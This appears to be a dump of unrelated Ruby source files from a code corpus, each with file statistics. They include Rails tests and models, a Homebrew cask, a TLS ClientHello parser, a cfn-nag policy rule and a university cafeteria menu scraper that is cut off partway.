assert_equal '[email protected]', @settings[:default][:authentication][:email]
assert_equal '[email protected]', @settings[:sandbox][:authentication][:email]
end
end
context "Loading adwords_api.yml" do
should "loads the configuration" do
Adapi::Config.dir = 'test/fixtures'
Adapi::Config.filename = 'adwords_api.yml'
@settings = Adapi::Config.settings(true)
assert_equal '555-666-7777', @settings[:default][:authentication][:client_customer_id]
assert_equal '[email protected]', @settings[:default][:authentication][:email]
assert_nil @settings[:sandbox]
end
end
end
end
| 34.558824 | 94 | 0.628936 |
e80d6eed590d9234a6f98c90d6458743984068ed | 471 | if defined?(Motion::Project::Config)
lib_dir_path = File.dirname(File.expand_path(__FILE__))
Motion::Project::App.setup do |app|
app.files.unshift(Dir.glob(File.join(lib_dir_path, 'linkify-it-rb/**/*.rb')))
app.files_dependencies File.join(lib_dir_path, 'linkify-it-rb/index.rb') => File.join(lib_dir_path, 'linkify-it-rb/re.rb')
end
require 'uc.micro-rb'
else
require 'uc.micro-rb'
require 'linkify-it-rb/re'
require 'linkify-it-rb/index'
end | 26.166667 | 126 | 0.70913 |
8715c5ad20852e8aec481efabf5cc6ffc443775f | 2,266 | require 'test_helper'
class PasswordResetsTest < ActionDispatch::IntegrationTest
def setup
ActionMailer::Base.deliveries.clear
@user = users(:michael)
end
test "password resets" do
get new_password_reset_path
assert_template 'password_resets/new'
#メールアドレスが無効
post password_resets_path, params: { password_reset: { email: "" } }
assert_not flash.empty?
assert_template 'password_resets/new'
#メールアドレスが有効
post password_resets_path,
params: { password_reset: { email: @user.email } }
assert_not_equal @user.reset_digest, @user.reload.reset_digest
assert_equal 1, ActionMailer::Base.deliveries.size
assert_not flash.empty?
assert_redirected_to root_url
#パスワード再設定用フォームのテスト
user = assigns(:user)
#メールアドレスが無効
get edit_password_reset_path(user.reset_token, email: "")
assert_redirected_to root_url
#無効なユーザー
user.toggle!(:activated)
get edit_password_reset_path(user.reset_token, email: user.email)
assert_redirected_to root_url
user.toggle!(:activated)
#メールアドレスが有効で、トークンが無効
get edit_password_reset_path('wrong token', email: user.email)
assert_redirected_to root_url
#メールアドレスもトークンも有効
get edit_password_reset_path(user.reset_token, email: user.email)
assert_template 'password_resets/edit'
assert_select "input[name=email][type=hidden][value=?]", user.email
#無効なパスワードとパスワード確認
patch password_reset_path(user.reset_token),
params: { email: user.email,
user: { password: "foobaz",
password_confirmation: "barquux" } }
assert_select 'div#error_explanation'
#パスワードが空
patch password_reset_path(user.reset_token),
params: { email: user.email,
user: { password: "",
password_confirmation: "" } }
assert_select 'div#error_explanation'
#有効なパスワードとパスワード確認
patch password_reset_path(user.reset_token),
params: { email: user.email,
user: { password: "foobaz",
password_confirmation: "foobaz" } }
assert is_logged_in?
assert_not flash.empty?
assert_redirected_to user
end
end
| 34.861538 | 72 | 0.664166 |
b9ac4375cc802cbdf706e1da545d68acf06ec3ce | 4,684 | class UpdateTimesToUtc < ActiveRecord::Migration
# The current times in the database are saved in local time.
# We currently perform no translation for display purposes.
# However, we will begin translating for display, so we need
# to fix the times in the database.
def up
update_times :+
end
def down
update_times :-
end
private
def update_times operator
# 2011 times need to have seven hours added (PDT)
# 2012 times need four hours added (EDT)
ts_cols.each do |table, cols|
cols.each do |col|
model_class = table.to_s.singularize.camelize.constantize
model_class.send :update_all, "#{col} = #{col} #{operator} interval '7 hours'", {:year => 2011}
model_class.send :update_all, "#{col} = #{col} #{operator} interval '4 hours'", {:year => 2012}
end
end
# The stupid razamfrazm rounds table has no year column
[:created_at, :updated_at, :round_start].each do |col|
Round.joins(:tournament).update_all "#{col} = #{col} #{operator} interval '7 hours'", "tournaments.year = 2011"
Round.joins(:tournament).update_all "#{col} = #{col} #{operator} interval '4 hours'", "tournaments.year = 2012"
end
end
def ts_cols
caua = [:created_at, :updated_at]
return {
jobs: caua,
user_jobs: caua,
transactions: caua,
users: caua.clone.concat([:remember_created_at, :current_sign_in_at, :last_sign_in_at]),
contents: caua.clone.concat([:expires_at]),
attendee_tournaments: caua,
attendee_discounts: caua,
attendees: caua,
attendee_activities: caua,
attendee_plans: caua,
plan_categories: caua,
discounts: caua,
# rounds: caua.clone.concat([:round_start]),
plans: caua,
tournaments: caua,
activities: caua.clone.concat([:leave_time]),
content_categories: caua
}
end
end
# The following is a list of all timestamp columns in the database
#
# select relname, attname, t.typname as attr_type
# from pg_attribute a
# inner join pg_class r on r.oid = a.attrelid
# inner join pg_type t on a.atttypid = t.oid
# where r.relnamespace = 2200 -- public namespace
# and r.reltype <> 0 -- exclude indexes
# and t.typname = 'timestamp'
#
#
# relname | attname | attr_type
# ----------------------+---------------------+-----------
# jobs | created_at | timestamp
# jobs | updated_at | timestamp
# user_jobs | created_at | timestamp
# user_jobs | updated_at | timestamp
# transactions | created_at | timestamp
# transactions | updated_at | timestamp
# users | remember_created_at | timestamp
# users | current_sign_in_at | timestamp
# users | last_sign_in_at | timestamp
# users | created_at | timestamp
# users | updated_at | timestamp
# contents | expires_at | timestamp
# contents | created_at | timestamp
# contents | updated_at | timestamp
# attendee_tournaments | created_at | timestamp
# attendee_tournaments | updated_at | timestamp
# attendee_discounts | created_at | timestamp
# attendee_discounts | updated_at | timestamp
# attendees | created_at | timestamp
# attendees | updated_at | timestamp
# attendee_activities | created_at | timestamp
# attendee_activities | updated_at | timestamp
# attendee_plans | created_at | timestamp
# attendee_plans | updated_at | timestamp
# plan_categories | created_at | timestamp
# plan_categories | updated_at | timestamp
# discounts | created_at | timestamp
# discounts | updated_at | timestamp
# rounds | round_start | timestamp
# rounds | created_at | timestamp
# rounds | updated_at | timestamp
# plans | created_at | timestamp
# plans | updated_at | timestamp
# tournaments | created_at | timestamp
# tournaments | updated_at | timestamp
# activities | leave_time | timestamp
# activities | created_at | timestamp
# activities | updated_at | timestamp
# content_categories | created_at | timestamp
# content_categories | updated_at | timestamp
#
| 41.087719 | 117 | 0.582195 |
d5ebd077247768b153d624e4922d83f6eb1ab1b8 | 1,898 | class User < ActiveRecord::Base
include Twittable
has_many :feeds, :order => :title, :dependent => :destroy
has_many :entries, :through => :feeds, :order => 'entries.published DESC'
has_and_belongs_to_many :projects, :order => 'projects.name'
validates_presence_of :name
validates_format_of :email, :with => REXP_EMAIL, :allow_blank => true
validates_format_of :blog_url, :with => REXP_URL, :allow_blank => true
validates_format_of :twitter_user, :with => REXP_TWITTER_USER, :allow_blank => true
validates_format_of :github_user, :with => REXP_GITHUB_USER, :allow_blank => true
validates_format_of :slideshare_user, :with => REXP_SLIDESHARE_USER, :allow_blank => true
validates_format_of :delicious_user, :with => REXP_DELICIOUS_USER, :allow_blank => true
validates_uniqueness_of :email, :allow_blank => true
validates_uniqueness_of :blog_url, :twitter_user, :github_user, :slideshare_user, :delicious_user, :allow_blank => true
sluggable_finder :name
# Returns the full github URL for this user if has a github user, or nil if not
def github_url
github_user.blank? ? nil : "#{GITHUB_URL}#{github_user}"
end
# Returns the full twitter URL for this user if has a twitter user, or nil if not
def twitter_url
twitter_user.blank? ? nil : "#{TWITTER_URL}#{twitter_user}"
end
# Returns the full slideshare URL for this user if has a slideshare user, or nil if not
def slideshare_url
slideshare_user.blank? ? nil : "#{SLIDESHARE_URL}#{slideshare_user}"
end
# Returns the full delicious URL for this user if has a delicious user, or nil if not
def delicious_url
delicious_user.blank? ? nil : "#{DELICIOUS_URL}#{delicious_user}"
end
# Use user's name as its title
def title
name
end
# Return url of this user's profile
def url
"#{PLANETOID_CONF[:site][:url]}/#{slug}"
end
end
| 35.148148 | 121 | 0.717597 |
1cd6ac16e1c0382345ec0cd597e48345fefcb3b9 | 1,134 | cask 'clamxav' do
if MacOS.release <= :tiger
version '2.2.1'
sha256 'e075b21fe5154f31dcbde86e492531c87c67ab44ad75294d3063f32ae1e58278'
elsif MacOS.release <= :leopard
version '2.5.1'
sha256 '02a7529c74d11724e2d0e8226ac83a0d3cfb599afb354d02f6609632d69d9eb1'
else
version '2.8.9'
sha256 'd0a7d74cc11f1d2ca9cb7e9225869a754e287485e4f270d65c03f722e3dbaf81'
appcast 'https://www.clamxav.com/sparkle/appcast.xml',
checkpoint: '4e26d36a89fdd96060704e30f582eed2810927dd2e5a11a94d968664197f010d'
end
url "https://www.clamxav.com/downloads/ClamXav_#{version}.dmg"
name 'ClamXav'
homepage 'https://www.clamxav.com/'
license :commercial
app 'ClamXav.app'
postflight do
suppress_move_to_applications
end
zap delete: [
'~/Library/Caches/uk.co.markallan.clamxav',
'~/Library/Logs/clamXav-scan.log',
# TODO: glob/expand needed here
'~/Library/Logs/clamXav-scan.log.0.bz2',
]
caveats do
# this happens sometime after installation, but still worth warning about
files_in_usr_local
end
end
| 29.076923 | 90 | 0.698413 |
f79fffb9c01a39c5cea629f7f0d9542758356a82 | 869 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'rubygems/backup/version'
Gem::Specification.new do |spec|
spec.name = 'rubygems-backup'
spec.version = Rubygems::Backup::VERSION
spec.authors = ['Eric Henderson']
spec.email = ['[email protected]']
spec.summary = %q{Write a short summary. Required.}
spec.description = %q{Write a longer description. Optional.}
spec.homepage = ''
spec.license = 'MIT'
spec.files = `git ls-files -z`.split("\x0")
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 1.6'
spec.add_development_dependency 'rake'
end
| 36.208333 | 74 | 0.647871 |
ab03468091a0a72c7b526ed510aa4dfc23574465 | 5,337 | # This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild
require 'kaitai/struct/struct'
unless Gem::Version.new(Kaitai::Struct::VERSION) >= Gem::Version.new('0.9')
raise "Incompatible Kaitai Struct Ruby API: 0.9 or later is required, but you have #{Kaitai::Struct::VERSION}"
end
class TlsClientHello < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@version = Version.new(@_io, self, @_root)
@random = Random.new(@_io, self, @_root)
@session_id = SessionId.new(@_io, self, @_root)
@cipher_suites = CipherSuites.new(@_io, self, @_root)
@compression_methods = CompressionMethods.new(@_io, self, @_root)
if _io.eof? == false
@extensions = Extensions.new(@_io, self, @_root)
end
self
end
class ServerName < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@name_type = @_io.read_u1
@length = @_io.read_u2be
@host_name = @_io.read_bytes(length)
self
end
attr_reader :name_type
attr_reader :length
attr_reader :host_name
end
class Random < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@gmt_unix_time = @_io.read_u4be
@random = @_io.read_bytes(28)
self
end
attr_reader :gmt_unix_time
attr_reader :random
end
class SessionId < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@len = @_io.read_u1
@sid = @_io.read_bytes(len)
self
end
attr_reader :len
attr_reader :sid
end
class Sni < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@list_length = @_io.read_u2be
@server_names = []
i = 0
while not @_io.eof?
@server_names << ServerName.new(@_io, self, @_root)
i += 1
end
self
end
attr_reader :list_length
attr_reader :server_names
end
class CipherSuites < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@len = @_io.read_u2be
@cipher_suites = Array.new((len / 2))
((len / 2)).times { |i|
@cipher_suites[i] = @_io.read_u2be
}
self
end
attr_reader :len
attr_reader :cipher_suites
end
class CompressionMethods < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@len = @_io.read_u1
@compression_methods = @_io.read_bytes(len)
self
end
attr_reader :len
attr_reader :compression_methods
end
class Alpn < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@ext_len = @_io.read_u2be
@alpn_protocols = []
i = 0
while not @_io.eof?
@alpn_protocols << Protocol.new(@_io, self, @_root)
i += 1
end
self
end
attr_reader :ext_len
attr_reader :alpn_protocols
end
class Extensions < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@len = @_io.read_u2be
@extensions = []
i = 0
while not @_io.eof?
@extensions << Extension.new(@_io, self, @_root)
i += 1
end
self
end
attr_reader :len
attr_reader :extensions
end
class Version < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@major = @_io.read_u1
@minor = @_io.read_u1
self
end
attr_reader :major
attr_reader :minor
end
class Protocol < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@strlen = @_io.read_u1
@name = @_io.read_bytes(strlen)
self
end
attr_reader :strlen
attr_reader :name
end
class Extension < Kaitai::Struct::Struct
def initialize(_io, _parent = nil, _root = self)
super(_io, _parent, _root)
_read
end
def _read
@type = @_io.read_u2be
@len = @_io.read_u2be
case type
when 0
@_raw_body = @_io.read_bytes(len)
_io__raw_body = Kaitai::Struct::Stream.new(@_raw_body)
@body = Sni.new(_io__raw_body, self, @_root)
when 16
@_raw_body = @_io.read_bytes(len)
_io__raw_body = Kaitai::Struct::Stream.new(@_raw_body)
@body = Alpn.new(_io__raw_body, self, @_root)
else
@body = @_io.read_bytes(len)
end
self
end
attr_reader :type
attr_reader :len
attr_reader :body
attr_reader :_raw_body
end
attr_reader :version
attr_reader :random
attr_reader :session_id
attr_reader :cipher_suites
attr_reader :compression_methods
attr_reader :extensions
end
| 24.149321 | 112 | 0.6187 |
38af260a834903945cb901273f8ad1fc0a017b1a | 2,406 | require 'test_helper'
describe User do
let(:auth_hash) {
{
provider: 'google',
uid: '12345',
info: {
name: 'Stub User',
email: '[email protected]',
image: 'http://example.org/image.jpg',
}
}
}
it 'can be created from an auth hash' do
user = User.find_or_create_from_auth_hash!(auth_hash)
assert_equal 'Stub User', user.name
assert_equal '[email protected]', user.email
assert_equal 'google', user.provider
assert_equal '12345', user.provider_uid
assert_equal 'http://example.org/image.jpg', user.image_url
end
it 'can be found from a matching email' do
existing_user = create(:user, email: auth_hash[:info][:email])
user = User.find_or_create_from_auth_hash!(auth_hash)
assert_equal existing_user.id, user.id
end
it 'updates the user details on sign in' do
existing_user = create(:user, email: auth_hash[:info][:email],
name: 'Another Name')
User.find_or_create_from_auth_hash!(auth_hash)
existing_user.reload
assert_equal 'Stub User', existing_user.name
end
it 'does not restrict user emails to a hostname by default' do
Books.stubs(:permitted_email_hostnames).returns([])
user = build(:user, email: '[email protected]')
assert user.valid?
end
it 'restricts user emails to a specified hostname' do
Books.stubs(:permitted_email_hostnames).returns(['example.org'])
user = build(:user, email: '[email protected]')
refute user.valid?
assert user.errors.has_key?(:email)
user = build(:user, email: '[email protected]')
assert user.valid?
end
it 'restricts user emails to multiple specified hostnames' do
Books.stubs(:permitted_email_hostnames).returns(['example.org', 'foo.org'])
user = build(:user, email: '[email protected]')
assert user.valid?
user = build(:user, email: '[email protected]')
assert user.valid?
user = build(:user, email: '[email protected]')
refute user.valid?
assert user.errors.has_key?(:email)
end
it 'only enforces the email hostname restriction on create' do
Books.stubs(:permitted_email_hostnames).returns(['banned.org'])
user = create(:user, email: '[email protected]')
Books.stubs(:permitted_email_hostnames).returns(['allowed.org'])
user.reload
assert user.valid?
end
end
| 27.655172 | 79 | 0.673317 |
6a019ace5a306da6d63b05497db7d1630d8b40c6 | 42 | module Searchkick
VERSION = "4.1.0"
end
| 10.5 | 19 | 0.690476 |
1d95f165ec1adaec373ebc333f65ee1eeda75120 | 497 | module ACH
module Records
class Record
@fields = []
class << self
def fields
@fields
end
end
extend(FieldIdentifiers)
attr_accessor :case_sensitive
def to_ach
to_ach = self.class.fields.collect { |f| send("#{f}_to_ach") }.join('')
case_sensitive ? to_ach : to_ach.upcase
end
# @return [Integer] Can override to include addenda count.
def records_count
1
end
end
end
end
| 17.75 | 79 | 0.565392 |
4a91cdb1415408763b7dcbf4f71b07da7f5922ed | 4,111 | # This file was generated by the `rspec --init` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause
# this file to always be loaded, without a need to explicitly require it in any
# files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need
# it.
#
# The `.rspec` file also contains a few flags that are not defaults but that
# users commonly want.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
RSpec.configure do |config|
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# These two settings work together to allow you to limit a spec run
# to individual examples or groups you care about by tagging them with
# `:focus` metadata. When nothing is tagged with `:focus`, all examples
# get run.
config.filter_run :focus
config.run_all_when_everything_filtered = true
# Allows RSpec to persist some state between runs in order to support
# the `--only-failures` and `--next-failure` CLI options. We recommend
# you configure your source control system to ignore this file.
config.example_status_persistence_file_path = "spec/examples.txt"
# Limits the available syntax to the non-monkey patched syntax that is
# recommended. For more details, see:
# - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
config.disable_monkey_patching!
# This setting enables warnings. It's recommended, but in some cases may
# be too noisy due to issues in dependencies.
config.warnings = true
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = 'doc'
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
config.profile_examples = 10
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
end
| 46.715909 | 92 | 0.740696 |
5deb10c8c12e9ddbf7f7f734290966e5f52e1162 | 759 | # frozen_string_literal: true
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Cloud
module Optimization
VERSION = "0.1.0"
end
end
end
| 28.111111 | 74 | 0.745718 |
33d805f034fb7c68f90f17338559bc54882bf32d | 603 | require 'cfn-nag/violation'
require_relative 'base'
class SnsTopicPolicyWildcardPrincipalRule < BaseRule
def rule_text
'SNS topic policy should not allow * principal'
end
def rule_type
Violation::FAILING_VIOLATION
end
def rule_id
'F18'
end
def audit_impl(cfn_model)
logical_resource_ids = []
cfn_model.resources_by_type('AWS::SNS::TopicPolicy').each do |topic_policy|
unless topic_policy.policy_document.wildcard_allowed_principals.empty?
logical_resource_ids << topic_policy.logical_resource_id
end
end
logical_resource_ids
end
end
| 20.793103 | 79 | 0.746269 |
e2d9b9d19152b237d86ba51877c249871ee0e3d1 | 5,503 | require 'rails_helper'
describe Profile do
let(:user) { create(:user, :signed_up, password: 'a really long sekrit') }
let(:another_user) { create(:user, :signed_up) }
let(:profile) { create(:profile, user: user) }
let(:dob) { '1920-01-01' }
let(:ssn) { '666-66-1234' }
let(:pii) do
Pii::Attributes.new_from_hash(
dob: dob,
ssn: ssn,
first_name: 'Jane',
last_name: 'Doe',
zipcode: '20001',
)
end
it { is_expected.to belong_to(:user) }
it { is_expected.to have_many(:usps_confirmation_codes).dependent(:destroy) }
describe '#encrypt_pii' do
subject(:encrypt_pii) { profile.encrypt_pii(pii, user.password) }
it 'encrypts PII' do
expect(profile.encrypted_pii).to be_nil
encrypt_pii
expect(profile.encrypted_pii).to_not be_nil
expect(profile.encrypted_pii).to_not match 'Jane'
expect(profile.encrypted_pii).to_not match '666'
end
it 'generates new personal key' do
expect(profile.encrypted_pii_recovery).to be_nil
initial_personal_key = user.encrypted_recovery_code_digest
encrypt_pii
expect(profile.encrypted_pii_recovery).to_not be_nil
expect(user.reload.encrypted_recovery_code_digest).to_not eq initial_personal_key
end
context 'ssn fingerprinting' do
it 'fingerprints the ssn' do
expect { encrypt_pii }.
to change { profile.ssn_signature }.
from(nil).to(Pii::Fingerprinter.fingerprint(ssn))
end
context 'ssn is blank' do
let(:ssn) { nil }
it 'does not fingerprint the SSN' do
expect { encrypt_pii }.
to_not change { profile.ssn_signature }.
from(nil)
end
end
end
it 'fingerprints the PII' do
fingerprint = Pii::Fingerprinter.fingerprint([
pii.first_name,
pii.last_name,
pii.zipcode,
Date.parse(pii.dob).year,
].join(':'))
expect { encrypt_pii }.
to change { profile.name_zip_birth_year_signature }.
from(nil).to(fingerprint)
end
context 'when a part of the compound PII key is missing' do
let(:dob) { nil }
it 'does not write a fingerprint' do
expect { encrypt_pii }.
to_not change { profile.name_zip_birth_year_signature }.
from(nil)
end
end
end
describe '#encrypt_recovery_pii' do
it 'generates new personal key' do
expect(profile.encrypted_pii_recovery).to be_nil
initial_personal_key = user.encrypted_recovery_code_digest
profile.encrypt_recovery_pii(pii)
expect(profile.encrypted_pii_recovery).to_not be_nil
expect(user.reload.encrypted_recovery_code_digest).to_not eq initial_personal_key
expect(profile.personal_key).to_not eq user.encrypted_recovery_code_digest
end
end
describe '#decrypt_pii' do
it 'decrypts PII' do
expect(profile.encrypted_pii).to be_nil
profile.encrypt_pii(pii, user.password)
decrypted_pii = profile.decrypt_pii(user.password)
expect(decrypted_pii).to eq pii
end
it 'fails if the encryption context from the uuid is incorrect' do
profile.encrypt_pii(pii, user.password)
allow(profile.user).to receive(:uuid).and_return('a-different-uuid')
expect { profile.decrypt_pii(user.password) }.to raise_error(Encryption::EncryptionError)
end
end
describe '#recover_pii' do
it 'decrypts the encrypted_pii_recovery using a personal key' do
expect(profile.encrypted_pii_recovery).to be_nil
profile.encrypt_pii(pii, user.password)
personal_key = profile.personal_key
normalized_personal_key = PersonalKeyGenerator.new(user).normalize(personal_key)
expect(profile.recover_pii(normalized_personal_key)).to eq pii
end
end
describe 'allows only one active Profile per user' do
it 'prevents create! via ActiveRecord uniqueness validation' do
profile.active = true
profile.save!
expect { Profile.create!(user_id: user.id, active: true) }.
to raise_error(ActiveRecord::RecordInvalid)
end
it 'prevents save! via psql unique partial index' do
profile.active = true
profile.save!
expect do
another_profile = Profile.new(user_id: user.id, active: true)
another_profile.save!(validate: false)
end.to raise_error(ActiveRecord::RecordNotUnique)
end
end
describe '#activate' do
it 'activates current Profile, de-activates all other Profile for the user' do
active_profile = Profile.create(user: user, active: true)
profile.activate
active_profile.reload
expect(active_profile).to_not be_active
expect(profile).to be_active
end
end
describe '#deactivate' do
it 'sets active flag to false' do
profile = create(:profile, :active, user: user)
profile.deactivate(:password_reset)
expect(profile).to_not be_active
expect(profile).to be_password_reset
end
end
describe 'scopes' do
describe '#active' do
it 'returns only active Profiles' do
user.profiles.create(active: false)
user.profiles.create(active: true)
expect(user.profiles.active.count).to eq 1
end
end
describe '#verified' do
it 'returns only verified Profiles' do
user.profiles.create(verified_at: Time.zone.now)
user.profiles.create(verified_at: nil)
expect(user.profiles.verified.count).to eq 1
end
end
end
end
| 28.661458 | 95 | 0.676177 |
e2fe7f7a5741ce2454536ae1554297154bc3eee6 | 1,929 | # -*- encoding: us-ascii -*-
require File.expand_path('../../../../spec_helper', __FILE__)
describe "Enumerator::Lazy#initialize" do
before :each do
@receiver = receiver = Object.new
def receiver.each
yield 0
yield 1
yield 2
end
@uninitialized = enumerator_class::Lazy.allocate
end
it "is a private method" do
enumerator_class::Lazy.should have_private_instance_method(:initialize, false)
end
it "returns self" do
@uninitialized.send(:initialize, @receiver) {}.should equal(@uninitialized)
end
describe "when the returned lazy enumerator is evaluated by Enumerable#first" do
it "stops after specified times" do
@uninitialized.send(:initialize, @receiver) do |yielder, *values|
yielder.<<(*values)
end.first(2).should == [0, 1]
end
end
it "sets #size to nil if not given a size" do
@uninitialized.send(:initialize, @receiver) {}.size.should be_nil
end
it "sets #size to nil if given size is nil" do
@uninitialized.send(:initialize, @receiver, nil) {}.size.should be_nil
end
it "sets given size to own size if the given size is Float::INFINITY" do
@uninitialized.send(:initialize, @receiver, Float::INFINITY) {}.size.should equal(Float::INFINITY)
end
it "sets given size to own size if the given size is a Fixnum" do
@uninitialized.send(:initialize, @receiver, 100) {}.size.should == 100
end
it "sets given size to own size if the given size is a Proc" do
@uninitialized.send(:initialize, @receiver, lambda { 200 }) {}.size.should == 200
end
it "raises an ArgumentError when block is not given" do
lambda { @uninitialized.send :initialize, @receiver }.should raise_error(ArgumentError)
end
describe "on frozen instance" do
it "raises a RuntimeError" do
lambda { @uninitialized.freeze.send(:initialize, @receiver) {} }.should raise_error(RuntimeError)
end
end
end
| 30.140625 | 104 | 0.688958 |
4a4dd2cb4afe76e220b1746affb04929be3f8e9e | 11,520 | require 'Menu'
require 'Menu_domitory'
require 'net/http'
class JBNUFoodParser
def requestHTML_Mobile(pageID,day)
uri = URI(URI.encode("http://appdev.jbnu.ac.kr/include/subPage.php?pageID=" + pageID + "&yoil=" + day))
req = Net::HTTP::Get.new(uri)
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') { |http| http.request(req) }
doc = Nokogiri::HTML(res.body)
return doc
end
# 모바일 학식
def requestMenu_Mobile_Food(pageID_num,day)
case pageID_num
when 0
pageID = "ID13367136031"; # 진수당
when 1
pageID = "ID13367136161"; # 의대
when 2
pageID = "ID13367136271"; # 학생회관
when 3
pageID = "ID13407623471"; # 후생관
when 4
pageID = "ID13367136711"; # 정담원
end
doc = requestHTML_Mobile(pageID.to_s,day.to_s)
menu = []
doc.css('.stxt').each do |rt|
# puts rt.inner_html.split(" ")
rt.inner_html.split("<br>").each do |menu_data|
menu << menu_data
end
end
# menu.each_with_index do |m,i|
# puts i.to_s + " : " + m
# end
return menu
end
def requestHTML
uri = URI(URI.encode("http://sobi.chonbuk.ac.kr/chonbuk/m040101"))
req = Net::HTTP::Get.new(uri)
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') { |http| http.request(req) }
doc = Nokogiri::HTML(res.body)
return doc
end
def requestHTML_domitory
uri = URI(URI.encode("http://likehome.chonbuk.ac.kr/board/bbs/board.php?dk_table=cbnu2_7_1_k"))
req = Net::HTTP::Get.new(uri)
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') { |http| http.request(req) }
doc = Nokogiri::HTML(res.body)
return doc
end
def requestHTML_domitory2
uri = URI(URI.encode("http://likehome.chonbuk.ac.kr/board/bbs/board.php?dk_table=cbnu2_7_k"))
req = Net::HTTP::Get.new(uri)
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') { |http| http.request(req) }
doc = Nokogiri::HTML(res.body)
return doc
end
def requestMenu(place_id)
doc = requestHTML
tables = doc.css("#sub_right//table")
t = tables[place_id].css("tr//td")
rt = []
t.each_with_index do |a,i|
# print i.to_s + " : " + a.inner_text.strip + "\n"
a.css("br").each { |node| node.replace("\n") }
rt << a.text.strip
end
if place_id == 0
place = "진수원(진수당)"
elsif place_id == 1
place = "의대"
elsif place_id == 2
place == "학생회관"
end
menus = [
Menu.new(place,"월","중식","백반",[rt[8]]),
Menu.new(place,"화","중식","백반",[rt[9]]),
Menu.new(place,"수","중식","백반",[rt[10]]),
Menu.new(place,"목","중식","백반",[rt[11]]),
Menu.new(place,"금","중식","백반",[rt[12]]),
Menu.new(place,"월","석식","백반",[rt[15]]),
Menu.new(place,"화","석식","백반",[rt[16]]),
Menu.new(place,"수","석식","백반",[rt[17]]),
Menu.new(place,"목","석식","백반",[rt[18]]),
Menu.new(place,"금","석식","백반",[rt[19]])
]
return menus
end
def requestMenu_hu
doc = requestHTML
tables = doc.css("#sub_right//table")
menu_data = tables[3].css("tr//td")
menu = []
menu_data.each_with_index do |td,i|
# print i.to_s + " : " + td.inner_text.strip + "\n"
td.css("br").each { |node| node.replace("\n") }
menu << td.inner_text.strip
end
place = "후생관"
menus = [
Menu.new(place,"월","중식","특식",[menu[8]]),
Menu.new(place,"월","중식","찌개",[menu[14]]),
Menu.new(place,"월","중식","추억의 도시락",[menu[20]]),
Menu.new(place,"월","중식","오므라이스",[menu[46]]),
Menu.new(place,"화","중식","특식",[menu[9]]),
